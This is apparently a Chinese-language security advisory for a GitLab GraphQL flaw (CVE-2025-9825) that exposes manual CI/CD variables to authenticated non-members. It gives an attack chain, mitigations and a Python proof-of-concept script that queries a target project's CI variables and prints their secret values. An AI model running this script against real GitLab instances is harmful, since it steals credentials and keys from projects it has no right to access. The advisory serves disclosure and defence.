IPBUF安全漏洞报告
English
CVE-2025-9825 CVSS 5.0 中危

CVE-2025-9825 GitLab GraphQL API未授权访问CI/CD变量漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-9825
漏洞类型
未授权访问控制绕过
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

CVE-2025-9825GitLabGraphQL API未授权访问访问控制绕过CI/CD变量泄露敏感信息泄露权限绕过

漏洞概述

CVE-2025-9825是GitLab Community Edition (CE)和Enterprise Edition (EE)中的一个安全漏洞。该漏洞存在于GraphQL API的实现中,允许已认证用户(即使是未加入项目的成员)通过GraphQL API查询并获取敏感的manual CI/CD变量。CI/CD变量通常包含敏感信息,如API密钥、数据库密码、部署凭证等。攻击者利用此漏洞可以在未经适当授权的情况下访问这些敏感信息,可能导致进一步的供应链攻击或数据泄露。该漏洞影响所有从13.7到18.2.8的版本,以及18.3到18.3.4和18.4到18.4.2版本。CVSS评分5.0属于中等严重程度,主要影响系统的机密性。

技术细节

该漏洞的根本原因在于GitLab GraphQL API对项目CI/CD变量的访问控制检查不完整。具体来说,当用户通过GraphQL API查询项目变量时,系统仅验证了用户是否为已认证用户,但未能正确验证用户是否具有访问该项目的适当权限。攻击者只需拥有一个GitLab账户(即使是最低权限的访客账户),即可构造GraphQL查询请求,通过指定目标项目的路径或ID,绕过项目成员资格检查,直接获取该项目的manual CI/CD变量内容。攻击过程无需特殊权限或用户交互,攻击复杂度较低。由于CVSS向量的变更范围(S:C)标记为变更,说明漏洞影响了多个安全组件的权限边界。

攻击链分析

STEP 1
步骤1
攻击者注册或获取一个GitLab账户(即使是最低权限账户)
STEP 2
步骤2
攻击者识别目标GitLab项目和目标项目的完整路径
STEP 3
步骤3
攻击者构造GraphQL查询请求,查询目标项目的ciVariables
STEP 4
步骤4
系统验证攻击者为已认证用户,但未能正确验证项目成员资格
STEP 5
步骤5
GraphQL API返回目标项目的所有manual CI/CD变量(包括敏感密钥、密码等)
STEP 6
步骤6
攻击者利用获取的敏感凭证进行进一步攻击,如横向移动或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-9825 GraphQL API PoC # GitLab Unauthenticated Access to CI/CD Variables import requests import json GITLAB_URL = "https://your-gitlab-instance.com" TARGET_PROJECT_ID = "target/project/path" ATTACKER_TOKEN = "your-authenticated-user-token" def exploit_cve_2025_9825(): """ Exploit for CVE-2025-9825 Authenticated user can access CI/CD variables without project membership """ headers = { "PRIVATE-TOKEN": ATTACKER_TOKEN, "Content-Type": "application/json" } # GraphQL query to fetch CI/CD variables query = """ query { project(fullPath: "%s") { ciVariables(first: 100) { nodes { key value secret } } } } """ % TARGET_PROJECT_ID response = requests.post( f"{GITLAB_URL}/api/graphql", headers=headers, json={"query": query} ) if response.status_code == 200: data = response.json() if "errors" not in data: print("[+] Successfully retrieved CI/CD variables!") print(json.dumps(data, indent=2)) else: print("[-] Query failed:", data["errors"]) else: print(f"[-] Request failed with status: {response.status_code}") if __name__ == "__main__": exploit_cve_2025_9825()

影响范围

GitLab CE/EE 13.7 - 18.2.8
GitLab CE/EE 18.3 - 18.3.4
GitLab CE/EE 18.4 - 18.4.2

防御指南

临时缓解措施
如果无法立即进行版本升级,可以采取以下临时缓解措施:1) 审查所有CI/CD变量的敏感度,将敏感变量(如API密钥、数据库密码)迁移到更安全的密钥管理解决方案;2) 启用GitLab的审计日志功能,监控GraphQL API的异常访问行为;3) 实施IP访问限制,只允许受信任的IP地址访问GitLab实例;4) 定期审计项目成员资格和访问权限;5) 考虑禁用公开项目的GraphQL API访问。但这些措施仅为临时缓解,无法完全替代安全更新,建议尽快完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表